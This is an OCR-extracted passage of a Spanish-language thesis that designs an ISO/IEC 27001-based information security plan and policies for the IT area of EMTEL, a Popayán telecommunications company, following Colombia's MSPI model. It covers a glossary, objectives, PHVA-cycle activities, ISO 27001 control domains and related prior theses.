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RESUMEN

Con la estrategia de gobierno Digital propuesta por el Ministerio de Tecnologias

de la Informacion y las Comunicaciones (MinTIC) se busca que todas las
entidades de caracter publico a través del habilitador de seguridad y privacidad,
incorporen la seguridad de la informacidon en todos sus procesos, tramites,
servicios, sistemas de informacion, infraestructura y en general, en todos sus
activos de informacién, con el fin de preservar la confidencialidad, integridad,
disponibilidad y privacidad de sus datos.

Es asi como la Empresa de Telecomunicaciones de Popayan S.AEMTEL E.S.P,
en cumplimiento con las disposiciones establecidas por el MinTIC y la Comision
de Regulacién de Comunicaciones (CRC), inicia con el proceso de implementar
el Modelo de Seguridad y Privacidad de la Informacién (MSPI), acogiendo y
siguiendo las mejores practicas en seguridad de la norma ISO/IEC 27001, en
ese sentido atendiendo las necesidades que tiene la empresa en materia de
seguridad, esta practica profesional tuvo como objetivo principal disefiar un plan
de seguridad de la informacion para el area de Tecnologias de la Informacion
(TI), bajo la metodologia del ciclo de Demming PHVA (Planear, Hacer, Verificar
y Actuar), la cual en una primera fase consistié en realizar un diagnéstico en
seguridad o andlisis GAP con el propoésito de identificar el estado actual de la
empresa respecto a la adopcion del MSPI, seguidamente con base a las
necesidades y objetivos de la empresa se defini6 un plan de valoracion y
tratamiento de riesgos, en el cual se establecieron las acciones de respuesta
necesarias para mitigar los riesgos a los cuales estan expuestos los activos de
informacion de TI, y finalmente como resultado del proceso anterior se
elaboraron y se socializaron las politicas de seguridad de la informacion al
interior de la empresa.
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GLOSARIO

Acceso ala Informacién Publica: Derecho fundamental consistente en la facultad
gue tienen todas las personas de conocer sobre la existencia y acceder a la
informacion publica en posesion o bajo control de sujetos obligados [1]

Activo: En relacion con la seguridad de la informacién, se refiere a cualquier
informacion o elemento relacionado con el tratamiento de la misma (sistemas,
soportes, edificios, personas, etc.) que tenga valor para la organizacion [2].

Amenaza: Causa potencial de un incidente no deseado, que puede provocar dafos
a un sistema o a la organizacion [2].

Anadlisis del Riesgo: Proceso para comprender la naturaleza del riesgo y
determinar el nivel de riesgo [2].

Autenticacion de usuario: Capacidad de demostrar que un usuario 0 una
aplicacion es realmente quien dicha persona o aplicacion asegura ser.

Bases de Datos Personales: Conjunto organizado de datos personales que sea
objeto de Tratamiento [3] .

Clasificaciéon de la Informacién: Es el ejercicio por medio del cual se determina
gue la informacion pertenece a uno de los niveles de clasificacion estipulados en la
Entidad. Tiene como objetivo asegurar que la informacion recibe el nivel de
proteccion adecuado [4].

Ciberseguridad: Capacidad del Estado para minimizar el nivel de riesgo al que
estdn expuestos los ciudadanos, ante amenazas o0 incidentes de naturaleza
cibernética [5].

Confidencialidad: Propiedad que determina que la informacion sélo esté disponible
y sea revelada a individuos, entidades o procesos autorizados [2]

Control: Las politicas, los procedimientos, las practicas y las estructuras
organizativas concebidas para mantener los riesgos de seguridad de la informacién
por debajo del nivel de riesgo asumido. Control es también utilizado como sinénimo
de salvaguarda o contramedida. En una definicion mas simple, es una medida que
modifica el riesgo [2].

Custodio: Es una parte designada de la entidad, un cargo, proceso, o grupo de
trabajo encargado de administrar y hacer efectivos los controles de seguridad que
el propietario de la informacién haya definido, tales como copias de seguridad,
asignacion privilegios de acceso, modificacion y borrado [4].



Datos Personales: Cualquier informacion vinculada o que pueda asociarse a una
0 varias personas naturales determinadas o determinables [3].

Declaracion de aplicabilidad: Documento que enumera los controles aplicados
por el Sistema de Gestion de Seguridad de la Informacion — SGSI, de la
organizacion tras el resultado de los procesos de evaluacion y tratamiento de
riesgos y su justificacion, asi como la justificacion de las exclusiones de controles
del anexo A de ISO 27001 [2].

Disponibilidad: Propiedad de que la informaciéon sea accesible y utilizable por
solicitud de una entidad autorizada, cuando ésta asi lo requiera [2]

Estandar: Regla que especifica una accion o respuesta que se debe seguir a una
situacion dada. Los estandares son orientaciones obligatorias que buscan hacer
cumplir las politicas. Los estandares son diseflados para promover la
implementacién de las politicas de alto nivel de la entidad antes de crear nuevas
politicas [6].

Gestion de incidentes de seguridad de la informacion: Procesos para detectar,
reportar, evaluar, responder, tratar y aprender de los incidentes de seguridad de la
informacion [2].

Guia: Una guia es una declaracién general utilizada para recomendar o sugerir un
enfoque para implementar politicas, estandares buenos practicas. Las guias son
esencialmente, recomendaciones que deben considerarse al implementar la
seguridad. Aunque no son obligatorias, seran seguidas a menos que existan
argumentos documentados y aprobados para no hacerlo [6].

Informacién: Datos relacionados que tienen significado para la entidad. La
informacion es un activo que, como otros activos importantes del negocio, es
esencial para las actividades de la entidad y, en consecuencia, necesita una
proteccion adecuada [7].

La definicion dada por la ley 1712 del 2014, se refiere a un conjunto organizado de
datos contenido en cualquier documento que los sujetos obligados generen,
obtengan, adquieran, transformen o controlen [1].

Informacién publica: Es toda informacién que un sujeto obligado genere, obtenga,
adquiera, o controle en su calidad de tal [1]

Informacidén publica clasificada: Es aquella informacion que estando en poder o
custodia de un sujeto obligado en su calidad de tal, pertenece al ambito propio,
particular y privado o semiprivado de una persona natural o juridica por lo que su
acceso podra ser negado o exceptuado, siempre que se trate de las circunstancias
legitimas y necesarias y los derechos particulares o privados consagrados en el
articulo 18 de la Ley 1712 de 2014 [1].



Informacién publica Reservada: Es aquella informacién que estando en poder o
custodia de un sujeto obligado en su calidad de tal, es exceptuada de acceso a la
ciudadania por dafio a intereses publicos y bajo cumplimiento de la totalidad de los
requisitos consagrados en el articulo 19 de la Ley 1712 de 2014 [1].

Integridad: Propiedad de salvaguardar la exactitud y estado completo de los activos
[2].

Mejor préactica: Una regla de seguridad especifica o una plataforma que es
aceptada, a través de la industria al proporcionar el enfoque mas efectivo a una
implementacién de seguridad concreta. Las mejores practicas son establecidas
para asegurar que las caracteristicas de seguridad de los sistemas utilizados con
regularidad estén configurados y administrados de manera uniforme, garantizando
un nivel consistente de seguridad a través de la entidad [6].

Plan de continuidad del negocio: Plan orientado a permitir la continuacion de las
principales funciones misionales o del negocio en el caso de un evento imprevisto
gue las ponga en peligro [2].

Plan de tratamiento de riesgos: Documento que define las acciones para
gestionar los riesgos de seguridad de la informacion inaceptables e implantar los
controles necesarios para proteger la misma [2].

Politica: Declaracion de alto nivel que describe la posicion de la entidad sobre un
tema especifico [8] .

Procedimiento: Los procedimientos, definen especificamente como las politicas,
estandares, mejores practicas y guias que seran implementadas en una situacion
dada. Los procedimientos son independientes de la tecnologia o de los procesos y
se refieren a las plataformas, aplicaciones o procesos especificos. Son utilizados
para delinear los pasos que deben ser seguidos por una dependencia para
iImplementar la seguridad relacionada con dicho proceso o sistema especifico [6].

Propietario de la Informacion: Es una parte designada de la entidad, un cargo,
proceso, o grupo de trabajo que tiene la responsabilidad de garantizar que la
informacion y los activos asociados con los servicios de procesamiento de
informacion se clasifican adecuadamente, y de definir y revisar periédicamente las
restricciones y clasificaciones del acceso, teniendo en cuenta las politicas aplicables
sobre el control del acceso [4].

Responsabilidad: Cualidad de la persona responsable. "para cubrir ese puesto
buscan a una persona con responsabilidad” [6].

Riesgo: Posibilidad de que una amenaza concreta pueda explotar una
vulnerabilidad para causar una pérdida o dafio en un activo de informacién. Suele



considerarse como una combinacién de la probabilidad de un evento y sus
consecuencias [2].

Rol: Papel, funcion que alguien o algo desempefia [6]

Seguridad de la informacién: Preservacion de la confidencialidad, integridad, y
disponibilidad de la informacion [2].

Sistema de Gestion de Seguridad de la Informacion (SGSI): Conjunto de
elementos interrelacionados o interactuantes (estructura organizativa, politicas,
planificacibn de actividades, responsabilidades, procesos, procedimientos y
recursos) que utiliza una organizacion para establecer una politica y unos objetivos
de seguridad de la informacion y alcanzar dichos objetivos, basandose en un
enfoque de gestién y de mejora continua [2].

Usuario: Cualquier persona, entidad, cargo, proceso, sistema automatizado o
grupo de trabajo, que genere, obtenga, transforme, conserve o utilice informacion
en papel o en medio digital, fisicamente o a través de las redes de datos y los
sistemas de informaciéon de la Unidad, para propdésitos propios de su labor y que
tendran el derecho manifiesto de uso dentro del inventario de informacion [4].

Vulnerabilidad: Debilidad de un activo o control que puede ser explotada por una
0 més amenazas [2].
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1. CAPITULO UNO: INTRODUCCION

1.1 DESCRIPCION DEL PROBLEMA

La seguridad de la informacion se ha vuelto indispensable para cualquier empresa
dado que la informaciéon es el activo mas importante de estas. Actualmente las
empresas de cualquier tipo y tamafio recolectan, procesan, almacenan y transmiten
datos en muchas formas que incluyen formatos electronicos, fisicos vy
comunicaciones verbales [9]. En ese sentido la informacién y los procesos
relacionados con esta requieren proteccion contra diversos peligros: fraudes
informaticos, espionaje, sabotaje, vandalismo, incendios, inundaciones, virus
informaticos, entre otros [10], haciéndose necesaria la implementacién de un
conjunto adecuado de controles, politicas y procedimientos que permitan reducir las
vulnerabilidades y amenazas a las que estan expuestos los activos de informacion
de una empresa.

Con el fin de promover el uso de las mejores practicas en seguridad de la
informacion, el Ministerio de Tecnologias de la Informacion y las comunicaciones de
Colombia (MinTIC) propone el Modelo de Seguridad y Privacidad de la Informacion
(MSPI), enmarcado en la politica de gobierno digital, el cual permite garantizar la
integridad, confidencialidad y disponibilidad de los activos de informacion de una
empresa y asi mismo facilita el proceso de construccion de las politicas de
seguridad de la informaciéon (PSI), estableciendo los criterios que se deben seguir
para proteger los datos, procesos y personas vinculadas con el manejo de
informacion [11].

Bajo estos aspectos la Empresa de Telecomunicaciones de Popayan S.A EMTEL
E.S.P., una de las empresas mas representativas de esta ciudad, la cual brinda
soluciones integrales en tecnologias de la informacion y comunicacion [12], al no
tener un Modelo de Seguridad y Privacidad de la Informacion, y teniendo en cuenta
la necesidad e importancia que tiene su implementacion, ha decidido implementar
el MSPI en el area de tecnologias de la informacion (Tl), siguiendo los lineamientos
establecidos por MInTIC y acogiendo las mejores practicas y técnicas de la norma
ISO/IEC 27001:2013.

Lo anterior debido, a que a pesar de que la empresa ha implementado estrategias
de seguridad y algunos controles, estos no cumplen con los requisitos propuestos
en el estandar ISO/IEC 27001:2013, evidenciandose asi la ausencia de procesos y
buenas préacticas en seguridad de la informacioén, lo que conlleva actualmente a que
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se presenten vulnerabilidades y amenazas en sus activos de informacion, tales
como:

Pérdida de informacion.
Divulgacion indebida de informacion.
Falla en equipos por mal uso.
Descarga y uso no controlado de software.
Ausencia de inventario de activos de informacion.
Falta de registros sobre manipulacion de activos de informacion.
Ausencia de procedimientos para realizar copias de respaldo.
Falta de control de acceso a sistemas de informacion.
Uso inadecuado de la informacion ocasionando que los sistemas
informaticos de la empresa tengan una mayor probabilidad de ser
vulnerados.

e Entre otras.
Como respuesta a las necesidades que en materia de seguridad de la informacion
tiene EMTEL, esta practica profesional busca implementar en esta Empresa,
pruebas de efectividad, con el propésito de identificar las vulnerabilidades presentes
en los sistemas de informaciéon del area de Tl de la empresa y las politicas de
seguridad de la informacion cuyo objetivo es establecer las directrices que le
permitan a la empresa proteger su informacion.

1.2 OBJETIVOS

1.2.1. Objetivo general.

Disefiar un plan de seguridad de la informacién? para el area Tecnologias de la
Informacion en la Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P.

1.2.2. Objetivos especificos.

1. Determinar la situacion inicial de la gestién de seguridad de la informacion?
de la Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P.

2. ldentificar las vulnerabilidades y amenazas presentes en los activos de
informacion del area Tl de la Empresa de Telecomunicaciones de Popayan
S.AEMTEL E.S.P.

lconbaseala guian® 1 del MSPI metodologia de pruebas de efectividad y guia n° 2 Politica general
de seguridad de la informacion.

’Mediante el instrumento de evaluacion del MSPI, herramienta creada por el Ministerio de
Tecnologias de la Informacion y las Comunicaciones con el fin de identificar el nivel de madurez en
la implementacion del modelo de seguridad y privacidad de la informacion.
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3. Determinar los riesgos asociados a los activos de informacion del area Tl y
con base en ellos seleccionar los controles necesarios que permitan
mitigarlos.

4. Elaborar las politicas de seguridad de la informacion para la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P.

1.3 METODOLOGIA

La metodologia que se utilizard como referencia en el desarrollo de esta practica
profesional es el ciclo PHVA (Planear-Hacer-Verificar-Actuar) o “ciclo de Deming”,
esta basada en un concepto ideado por Walter Shewhart y es muy utilizada en los
SGSI [13], se encuentra estipulada en la norma NTC ISO/IEC 9001 y adoptada por
la norma NTC ISO/IEC 27001:2013. Esta metodologia esta conformada por 4 fases
como se muestra en la figura 1.1, las cuales permitiran gestionar adecuadamente la
seguridad y privacidad de los activos de informacion de la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P.

Flan

CICLODE e
MEJORA -
CONTINUA

Figura 1.1 Ciclo PHVA [13]

1.4 ACTIVIDADES

1.4.1 Fase de planificacion

Las actividades realizadas en esta fase favoreceran el cumplimiento del primer
objetivo.
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Actividad 1: Levantamiento de Informacion.

e Recoleccion de informacion de la Empresa (Mision, Vision, Organigrama,
Mapa de proceso, entre otros) necesaria para determinar el estado actual de
la gestion de seguridad y privacidad al interior de la Empresa.

e Identificacion de los procesos y/o procedimientos del area de Tl de la
Empresa.

Actividad 2: Evaluacion del estado actual de la gestién de seguridad y privacidad
de la informacion al interior de la Empresa.

1.4.2 Fase de hacer

Con los resultados obtenidos en esta fase se dard cumplimiento al segundo y tercer
objetivo propuestos en la practica profesional.

Actividad 3: Identificacion y clasificacion de los activos de la informacion del area
de tecnologias de la informacion de la Empresa.

Actividad 4: Identificacion de amenazas y vulnerabilidades a las cuales estan
expuestos los activos de informacion del area de tecnologias de la informacion de
la Empresa.

Actividad 5: Evaluacion de vulnerabilidades técnicas a las cuales estan expuestos
los activos criticos de informacion del area de Tl mediante la implementacién de
pruebas de efectividad y brindar recomendaciones de mitigacion a dichas
vulnerabilidades.

Actividad 6: Primer informe de actividades al comité de la facultad de ingenieria
electronica.

Actividad 7: Identificacion de los controles existentes en la empresa de la norma
NTC: ISO/IEC 27001.

Actividad 8: Evaluacién del riesgo de los activos de informacién del area de
tecnologias de la informacion.

Actividad 9: Seleccion y establecimiento de controles de seguridad de la norma
ISO/IEC 27001:2013 necesarios segun la declaracion de aplicabilidad, estos se
deben elegir segun la evaluaciéon de riesgos, requisitos legales de la empresa y
mejores practicas.

Actividad 10: Con base en el alcance y los controles seleccionados se estableceran
y se redactaran las Politicas de seguridad de la informacién para la empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P.
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NOTA: Las politicas que se mencionan a continuacion son las estipuladas en la
guia No 2 del MSPI, pero estas pueden variar dependiendo de los activos, procesos
y servicios de informacién que preste la empresa.

Politica general de seguridad y privacidad de la informacion.
Politica organizacion de la seguridad de la informacion.
Politica de gestion de activos.

Politica control de acceso.

Politica de no repudio.

Politica de privacidad y confidencialidad.

Politica de integridad.

Politica disponibilidad del servicio e informacion.

Politica de registro y auditoria.

Politica de incidentes de seguridad de la informacion.
Politica de capacitacion y sensibilizacién en seguridad de la informacion.

Actividad 11: Revision de las Politicas de Seguridad de la Informacion por el
coordinador del area Tl de la empresa, la Oficina Juridica y el Gerente de EMTEL.

Actividad 12: Socializacion de las Politicas de seguridad de la informacion al
interior de la empresa.

1.4.3 Fase de verificacion

En esta fase se realizara seguimiento y medicion de los procesos desarrollados en
la fase anterior.

Actividad 13: Segundo informe de actividades al comité de la facultad de ingenieria
electronica.

Actividad 14: Determinar el nivel de comprension de las PSI por parte de los
empleados de la empresa mediante la realizacién de evaluaciones y/o entrevistas.

1.4.4 Fase de actuar

Finalmente, en esta fase se realizar4 una mejora a los procesos desarrollados en
las fases anteriores.

Actividad 15: Con base en los resultados obtenidos en la actividad anterior
establecer cuales PSI son necesarias socializar nuevamente con los empleados de
la empresa.

Actividad 16: Elaboracién del documento final de trabajo de grado.

Nota: Esta actividad se realizara continuamente durante el desarrollo de la practica
profesional.
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Actividad 17: Preparacion y realizacién de sustentacion final del trabajo de grado

Actividad 18: Entrega completa de la informacién del trabajo de grado, que consta
de documento final y un disco compacto (CD).

2 CAPITULO DOS: ASPECTOS TEORICOS Y
REFERENTES

En este capitulo se realizar4 una descripcidon conceptual acerca de los aspectos
tedricos concernientes a la seguridad de la informacién y al Modelo de Seguridad y
Privacidad de la Informacién propuesto por el MIinTIC, posteriormente con estos
precedentes y de acuerdo al enfoque de esta practica profesional se presentaran
algunos trabajos que sirvieron de referente para llevar a cabo este proyecto.

2.1 MARCO CONCEPTUAL
Seguridad de lainformacién

La seguridad de la informacion es el conjunto de medidas técnicas, operativas,
organizativas y legales que permiten a las organizaciones resguardar y proteger la
informacion buscando mantener la confidencialidad, la disponibilidad e integridad
de la misma [9] [7].

e Integridad: Propiedad de salvaguardar la exactitud y estado completo de los
activos de informacion [9] [7].

e Disponibilidad: Que los activos de informacion estén disponibles por
solicitud de una entidad autorizada [9] [7].

e Confidencialidad: Propiedad que determina que la informacion no se pone
a disposicion ni se revela a individuos, entidades o procesos no autorizados

[91 [7].
ISO/IEC 27001:2013:

Esta norma especifica los requisitos para establecer, implementar, mantener y
mejorar continuamente un sistema de gestion de la seguridad de la informacion
dentro del contexto de la organizacion. La norma incluye los requisitos para la
valoracion y el tratamiento de riesgos de seguridad de la informacion adaptados a
las necesidades de la organizacion. Los requisitos establecidos en la norma son
genéricos y estan previstos para ser aplicables a todas las organizaciones,
independientemente de su tipo, tamafio o naturaleza [7].

ISO/IEC 27002:2013:
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Esta norma es una guia disefiada para uso por parte de las organizaciones, como
referencia para la seleccion de controles dentro del proceso de implementacion de
un sistema de gestion de la seguridad de la informacion con base en la NTC-
ISO/IEC 27001, se encuentra organizada en 14 dominios, 35 objetivos de control y
114 controles, como se muestra a continuacion en la figura 2.1 [9]:

ANEXO A 180 27001:2013 OBJETIVOS DE
CONTROL

A5 Politicas de seguridad

A6 Organizacion de la informacion
A_T Seguridad en recursos humanos

A 8 Gestion de activos

A9 Control de accesos

A_10 Criptografia
A_11 Seguridad fisica v ambiental

A 12 Sequridad en las operaciones

A_13 Transferencia de informacion

A 14 Adquisicion de sistemas, desarrollo y
mantenimiento

A_15 Relacion con proveedores
A_16 Gestion de los incidentes de seguridad

AT Continuidad del negocio

A 18 Cumplimiento con requerimientos
legales y contractuales

Figura 2.1 Dominios ISO/IEC 27001

A.5 Politicas de Seguridad: Sobre las directrices y conjunto de politicas para la
seguridad de la informacidn. Revision de las politicas para la seguridad de la
informacion [9].

A.6 Organizacion de la Seguridad de la Informacion: Trata sobre la organizacion
interna: asignaciéon de responsabilidades relacionadas a la seguridad de la
informacion, segregacion de funciones, contacto con las autoridades, contacto con
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grupos de interés especial y seguridad de la informacion en la gestion de proyectos
[9].

A.7 Seguridad de los Recursos Humanos: Comprende aspectos a tomar en
cuenta antes, durante y para el cese o cambio de trabajo. Para antes de la
contratacion se sugiere investigar los antecedentes de los postulantes y la revision
de los términos y condiciones de los contratos. Durante la contratacién se propone
se traten los temas de responsabilidad de gestion, concienciacion, educacion y
capacitacion en seguridad de la informacion. Para el caso de despido o cambio de
puesto de trabajo también deben tomarse medidas de seguridad, como lo es des
habilitar o actualizar privilegios o accesos [9].

A.8 Gestion de los Activos: En esta parte se toca la responsabilidad sobre los
activos (inventario, uso aceptable, propiedad y devolucibn de activos), la
clasificacion de la informacion (directrices, etiquetado y manipulacion) y manejo de
los soportes de almacenamiento (gestion de soporte extraibles, eliminacion y
soportes fisicos en transito) [9].

A.9 Control de Accesos: Se refiere a los requisitos de la organizacion para el
control de accesos, la gestion de acceso de los usuarios, responsabilidad de los
usuarios y el control de acceso a sistemas y aplicaciones [9].

A.10 Cifrado: Versa sobre los controles como politicas de uso de controles de
cifrado y la gestion de claves [9].

A.11 Seguridad Fisica y Ambiental: Tiene que ver sobre el establecimiento de
areas seguras (perimetro de seguridad fisica, controles fisicos de entrada,
seguridad de oficinas, despacho y recursos, proteccién contra amenazas externas
y ambientales, trabajo en areas seguras y areas de acceso publico) y la seguridad
de los equipos (emplazamiento y proteccion de equipos, instalaciones de
suministro, seguridad del cableado, mantenimiento de equipos, salida de activos
fuera de las instalaciones, seguridad de equipos y activos fuera de las instalaciones,
reutilizacion o retiro de equipo de almacenamiento, equipo de usuario desatendido
y politica de puesto de trabajo y bloqueo de pantalla) [9].

A.12 Seguridad de las Operaciones: Procedimientos y responsabilidades;
proteccion contra malware; resguardo; registro de actividad y monitorizacion; control
del software operativo; gestion de las vulnerabilidades técnicas; coordinacion de la
auditoria de sistemas de informacion [9].

A.13 Seguridad de las Comunicaciones: Gestion de la seguridad de la red;
gestion de las transferencias de informacion [9].
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A.14 Adquisicion de sistemas, desarrollo y mantenimiento: Requisitos de
seguridad de los sistemas de informacion; seguridad en los procesos de desarrollo
y soporte; datos para pruebas [9].

A.15 Relaciones con los Proveedores: Seguridad de la informacion en las
relaciones con los proveedores; gestion de la entrega de servicios por proveedores

[9].

A.16 Gestion de incidencias que afectan a la Seguridad de la Informacién:
gestion de las incidencias que afectan a la seguridad de la informacion; mejoras [9].

A.17 Aspectos de Seguridad de la Informacién para la Gestiéon de la
Continuidad del Negocio: Continuidad de la seguridad de la informacion;
redundancias [9].

A.18 Conformidad: Con requisitos legales y contractuales; revisiones de la
seguridad de la informacion [9].

Modelo de Seguridad y Privacidad de la Informacion

El Modelo de Seguridad y Privacidad de la Informacion — MSPI, “conduce a la
preservacion de la confidencialidad, integridad, disponibilidad de la informacion,
permitiendo garantizar la privacidad de los datos mediante la aplicacion de un
proceso de gestion del riesgo, brindando confianza a las partes interesadas acerca

El modelo de seguridad y privacidad de la informacién contempla un ciclo de
operacion que consta de cinco (5) fases como se muestra en la figura 2.2, las cuales
contienen objetivos, metas y herramientas (guias), que permiten gestionar
adecuadamente la seguridad y privacidad de los activos de informacién de una
empresa [14] .

Planificacion

DIAGNOSTICO Mejora Continua

Evaluacion de
Desempeno
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Figura 2.2 Modelo de seguridad y privacidad de la informacion [14].

e Fase de diagndstico

En esta fase se debe identificar el estado actual de la entidad con respecto a los
requerimientos del Modelo de Seguridad y Privacidad de la Informacién, para ello
se deben alcanzar las siguientes metas [14]:

« Determinar el estado actual de la gestion de seguridad y privacidad de la
informacion al interior de la Entidad.

« Determinar el nivel de madurez de los controles de seguridad de la
informacion.

+ Identificar el avance de la implementacion del ciclo de operacion al interior
de la entidad.

+ Identificar el nivel de cumplimiento con la legislacion vigente relacionada con
proteccion de datos personales.

e Fase de planificacion

Con base a los resultados obtenidos en la fase anterior se debe elaborar el plan de
seguridad y privacidad de la informacion alineado con el objetivo misional de la
entidad, con el propésito de definir las acciones a implementar a nivel de seguridad
y privacidad de la informacion a través de una metodologia de gestion del riesgo
[14].

e Fase deimplementacion

En esta fase se debe llevar a cabo la implementacion de la planificacion realizada
en la fase anterior del MSPI [14] .

e Fase de evaluaciéon del desempefio

En esta fase se realiza el monitoreo y seguimiento del MSPI, se realiza con base a
los resultados que arrojan los indicadores de la seguridad de la informacion
propuestos para la verificacion de la efectividad, la eficiencia y la eficacia de las
acciones implementadas [14].

e Fase de mejora continua

En esta fase la Entidad debe consolidar los resultados obtenidos de la fase de
evaluacion de desempefio, para disefiar el plan de mejoramiento continuo de
seguridad y privacidad de la informacién, tomando las acciones oportunas para
mitigar las debilidades identificadas [14].
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Instrumento de evaluacion del modelo de seguridad y privacidad de
la informacion

El instrumento de evaluaciéon de MSPI “es una herramienta creada por el Ministerio
de Tecnologias de la Informacién y las Comunicaciones con el fin de identificar el
nivel de madurez en la implementacion del Modelo de seguridad y Privacidad de la
Informacion, permitiendo establecer el estado de la gestién y adopcion de controles
técnicos y administrativos al interior de las entidades” [15].

Metodologia de pruebas de efectividad

La metodologia de pruebas de efectividad es una serie de actividades, que tienen
por finalidad indicar los procedimientos de seguridad que pueden generarse durante
el proceso de evaluacion en los avances de la implementacion del modelo de
seguridad y privacidad de la informacion; de esta manera, a través de la valoracion
de diferentes aspectos se identificaran las vulnerabilidades y amenazas a las cuales
estd expuesta la entidad, asi como también posibles debilidades en los controles
implementados [16].

Al igual que los demés procedimientos planteados en el modelo de seguridad y
privacidad de la informacion, se busca proteger la disponibilidad, integridad y
confidencialidad de la informacion de la entidad [16].

Gestion del riesgo

De acuerdo con la norma NTC-ISO/IEC 27000:2014, se define el riesgo como la
“Posibilidad de que una amenaza concreta pueda explotar una vulnerabilidad para
causar una pérdida o dafio en un activo de informaciéon. Suele considerarse como
una combinacion de la probabilidad de un evento y sus consecuencias” [2]. El
objetivo principal de la gestion del riesgo en la seguridad de la informacion es
evaluar los riesgos y tratarlos a través de la identificacion y el establecimiento de
controles efectivos que garanticen la confidencialidad, integridad y disponibilidad de
la informacion.

Politica de seguridad de la informacion

Conjunto de directrices que presenta la posicién de la administracion para un area
de control definida. Las politicas se elaboran con el fin de que tengan aplicacion a
largo plazo y guien el desarrollo de reglas y criterios mas especificos que aborden
situaciones concretas. Las politicas son desplegadas y soportadas por estandares,
mejores practicas, procedimientos y guias [17].

Politica general de seguridad de la informacién

La guia denominada politica general de seguridad de la informacion presenta
algunas recomendaciones y principios basicos a tener en cuenta en la elaboracion
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de una PSI dentro de la planeacion de un Sistema de Gestién de la Seguridad de la
Informacion (SGSI) en una entidad [18].

Este conjunto de recomendaciones no es exhaustivo, se aconseja que cada entidad
genere sus documentaciones propias dependiendo de sus caracteristicas
particulares, sus activos de informacidn, sus procesos y los servicios de informacion
gue pueda prestar [18].

Para realizar una correcta implementacion de PSI, es necesario cumplir con una
serie de fases, las cuales tienen como objetivo que la entidad desarrolle, apruebe,
implementen, socialice e interiorice las politicas para un uso efectivo por parte de
todos los empleados, contratistas y/o terceros de la entidad [18].

2.2 MARCO REFERENCIAL

Disefio de un sistema de gestion de seguridad de la informacién (SGSI)
basado en lanorma ISO/IEC 27001 para Positiva Compafiia de Seguros S.A en
la ciudad de Bogota [19].

En este trabajo de grado se disefi6 un sistema de gestién de seguridad de la
informacion basado en el estandar ISO/IEC 27001 de 2013 para la Casa Matriz de
Positiva de Seguros S.A. La estructura de este trabajo de grado se desarrollé por
fases las cuales se mencionan a continuacion: una primera fase la cual consistio en
realizar un diagndstico de la situacion actual de la Casa Matriz en relacion con la
gestion de seguridad de la informacion, una segunda fase en la que se identificaron
los activos de informacion de la Casa Matriz y se definié una metodologia de analisis
y gestion del riesgo, una tercera fase en la que se evaluo la aplicabilidad de los
controles de seguridad de la informacion bajo la norma ISO/IEC 27002:2013, y
finalmente con base en los resultados obtenidos de las fases anteriores se
definieron las politicas de seguridad, el alcance y los objetivos del sistema de
gestion de seguridad de la informacion para la Casa Matriz de Positiva.

El aporte principal de este trabajo de grado a la practica profesional es que en él se
evidencia la importancia que tiene el proceso de determinar los controles de
seguridad de la ISO/IEC 27001:2013 existentes en una empresa, ya que con base
a ellos se realiza un diagnéstico de la situacién de la empresa y las brechas de
seguridad que esta tiene.

Diseio de un modelo de politicas de seguridad informética para la
Superintendencia de Industriay Comercio de Bogota [20].

En este trabajo de grado se definieron las politicas de seguridad de la
informacion para la Superintendencia de Industria y Comercio de Bogota bajo los
lineamientos establecidos por la norma ISO 27001; como primera medida se realizo
un levantamiento de informacién de las practicas de seguridad y del estado de la
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misma en la entidad, seguidamente se hizo un diagndstico de analisis de riesgo que
permitié proporcionar un panorama general de las vulnerabilidades presentes en
cada una de las areas de la entidad a nivel de seguridad informética, posteriormente
con base en esta informacion se construyd una matriz de riesgos y se establecieron
las politicas de seguridad informética, finalmente se dio a conocer a los funcionarios
y directivos de la superintendencia de industria y comercio de Bogota el plan de
buenas practicas en el uso de los sistemas de informacion que estan disponibles
para el desarrollo de sus labores, con el fin de minimizar el riesgo de pérdida, dafio
o0 alteracion en la informacion.

El aporte principal de este trabajo de grado a la practica profesional es que en él se
implement6 un modelo de seguridad de la informacién afin al que se desarrollara en
la Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P, el cual se bas6
en los lineamientos de la norma ISO/IEC 27001.

Implementacion del sistema de gestion de seguridad de la informacion del
ministerio de defensa nacional en el proceso de talento humano [21].

Este trabajo de grado tuvo como objetivo principal documentar la metodologia de
implementacion del sistema de gestion de seguridad de la informacion del Ministerio
de Defensa Nacional en el proceso de Talento humano, la metodologia desarrollada
estuvo conformada por las siguientes actividades: planificacion del proyecto,
levantamiento de informacion e identificacion de activos, valoracion y clasificacion
de activos, identificacion de riesgos en seguridad de la informacion, tratamiento de
los riesgos e identificacion de la normatividad.

El aporte de este trabajo de grado a la practica profesional es que el autor concluye
gue la informacién nunca va poder estar totalmente segura, pero que con la
implementacion de medidas y controles se logra un nivel de proteccién adecuado,
la identificacidn del riesgo es el primer paso para iniciar un tratamiento de controles
gue permitan prevenir y minimizar los riesgos asociados a los activos de informacién
evitando de esta manera la pérdida de confidencialidad, integridad y disponibilidad
de estos.

Diagnostico y planificacion de la implementacién del modelo de seguridad y
privacidad de la informacién en la corporacion auténoma regional de
Cundinamarca-CAR [22].

Este trabajo de grado tuvo como objetivo implementar el modelo de seguridad y
privacidad de la informacion (MSPI) del MinTIC en el area de tecnologias de la
informacion de la CAR, con el fin de garantizar la preservacion de la
confidencialidad, integridad y disponibilidad de los activos de informacion del area.
En él se desarrolld la fase de diagnostico del MSPI cuyo propdésito fue establecer el
estado actual de la entidad en relacidon con la seguridad de la informacion y la fase
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de planificacién la cual consistié en la elaboracion del plan de seguridad y privacidad
de la informacion para la entidad, en esta ultima fase se conformo el comité de
seguridad de la informacion, se realizo la identificacion y clasificacion de los activos
de informacion, se definié una metodologia de gestion del riego, se elaboraron las
politicas de seguridad de la informacién y finalmente se socializaron al interior de la
entidad.

El aporte de este trabajo a la practica profesional es que en él la autora resalta la
importancia de crear conciencia en la alta gerencia para que se permita la
implementacion del MSPI a buen término, con procesos de inversion, atencion y
capacitacion a los actores que manejan las diferentes fuentes de informacion, de lo
contrario los resultados no van a ser los deseados y el nivel de cumplimiento del
ciclo de operaciéon PHVA del modelo va ser minimo.

Identificacién de vulnerabilidades de seguridad en el control de acceso al
sistema de gestion documental, mediante pruebas de testeo de red en la
empresa INGELEC S.A.S [23].

